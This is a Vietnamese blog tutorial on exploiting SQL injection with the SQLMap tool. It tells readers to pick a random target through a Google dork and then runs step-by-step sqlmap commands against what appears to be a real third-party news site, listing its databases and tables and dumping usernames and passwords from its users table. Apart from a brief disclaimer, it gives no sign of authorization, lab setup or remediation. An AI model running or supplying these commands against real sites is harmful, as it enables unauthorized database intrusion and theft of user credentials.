SQL Injection - Chương 01: Sử dụng SQLMap để khai thác Database
Nguyễn Minh Giàu
24 thg 9, 2018
Lâu rồi không gặp các bạn, hôm nay mình sẽ giới thiệu về công cụ SQLMap và cách sử dụng nó để khai thác các trang web bị lỗ hổng SQL Injection. Mình cũng khuyến cáo với các bạn nào đọc bài viết này, các bạn tuyệt đối không được thử nghiệm trên môi trường mạng công cộng và mình sẽ không chịu trách nhiệm bất kỳ hậu quả nào các bạn gây ra!!!
SQL Injection là gì? Giới thiệu về công cụ SQLMap
SQL injection là một kỹ thuật chèn mã lỗi sql vào ứng ụng web, trong đó các câu lệnh SQL độc hại được chèn vào một trường mục nhập để thực thi câu lệnh sql đó (ví dụ: người tấn công muốn xuất ra danh sách các tài khoản người dùng của một trang web nào đó) nhằm để khai thác lỗ hổng bảo mật của trang web đó. SQLMap là một công cụ kiểm tra thâm nhập mã nguồn mở cho phép tự động hóa quá trình phát hiện và khai thác lỗ hổng "SQL injection" và chiếm đoạt các máy chủ cơ sở dữ liệu.
Các bước tấn công
Không nói dài dòng nữa, mình sẽ bắt đầu chi tiết về các bước thực hiện một cuộc tấn công SQL Injection. Mình sẽ sử dụng hệ điều hành Parrot để "demo" cuộc tấn công này.
Bước 1: Tìm trang web bị lỗ hổng
Mình sẽ khởi động SQLMap bằng lệnh "sqlmap" và màn hình "terminal" sẽ show ra giao diện giống như dưới đây:
Giao diện SQLMap
Sau đó các bạn nên tìm ra một mục tiêu ngẫu nhiên nào đó thông qua sử dụng các lệnh tìm kiếm trong Google Dork, mình sẽ có một bài viết về công cụ này và cách sử dụng như thế nào. Ở đây mình sẽ gõ lệnh "sqlmap -g inurl:news.php?id=3" để show ra các đường link trong google.
Tìm kiếm danh sách các "url" trên Google
Khi đó nó sẽ hiện ra đường link đầu tiên là: "http://www.jmtv.com/news.php?id=3". Mình sẽ thử "test" trên đường link này xem có bị lỗi SQL Injection hay không. Mình sẽ gõ "Y" để đồng ý kiểm tra thử đường link này.
Kiểm tra url xem có bi SQL Injection hay không?
Cuối cùng nó đã hiện ra lỗi "SQL Injection" mà trang web này đã mắc phải, công việc tiếp theo của chúng ta là "exploit" mã lỗi "SQL Injection này và tiến hành chuẩn bị bước 2.
Bước 2: Liệt kê danh sách database
Bây giờ chúng ta đã có được đường link này "http://www.jmtv.com/news.php?id=3" và công việc là lấy danh sách các database mà trang web này có. Chúng ta có thể gõ lệnh: "sqlmap -u http://www.jmtv.com/news.php?id=3 --dbs" để liệt kê danh sách database.
Danh sách database của trang web bị lỗi SQL Injection
Cuối cùng chúng ta đã có tên database. Chúng ta sẽ liệt kê các bảng có trong database đó qua bước tiếp theo.
Bước 3: Liệt kê các bảng trong database
Mình sẽ lấy tên database là "jmtv501_news" là tên database và liệt kê các bảng trong database đó. Mình sẽ sử dụng câu lệnh: "sqlmap -u http://www.jmtv.com/news.php?id=3 -D jmtv501_news --tables" để thực thi.
Hiển thị bảng trong Database
Chúng ta đã có các bảng rồi, thì công việc tiếp theo là hiện ra các trường dữ liệu trong các bảng đó.
Bước 4: Liệt kê danh sách dữ liệu
Mục tiêu của chúng ta là hiển thị danh sách các người dùng đăng bài trong database "jmtv501_news" và đó là bảng "users". Để làm điều đó, chúng ta gõ lệnh: "sqlmap -u http://www.jmtv.com/news.php?id=3 -D jmtv501_news -T users --column" để lấy ra các cột trong bảng "users".
Danh sách các cột trong bảng "users"
Công việc còn lại khá nhẹ nhàng các bạn ơi :), chỉ cần hiển thị danh sách người dùng và mật khẩu của họ là coi như xong rồi đấy.
Bước 5: Liệt kê danh sách tài khoản
Trong bảng "users" có cột "username" và cột "password", điều đó làm cho chúng ta trở nên dễ dàng trong việc lấy tên của người dùng đăng bài thông qua câu lệnh sau: "sqlmap -u http://www.jmtv.com/news.php?id=3 -D jmtv501_news -T users -C username --dump".
Lấy thông tin username
Ngoài ra các bạn có thể lấy mật khẩu với câu lệnh này: "sqlmap -u http://www.jmtv.com/news.php?id=3 -D jmtv501_news -T users -C password --dump".
Lấy thông tin mật khẩu
Video
Tóm tắt
Mình đã trình bày cách thức khai thác cơ sở dữ liệu của một trang web bị lỗ hổng SQL Injection với công cụ SQLMap. Mình cám ơn các bạn đã đọc bài viết này.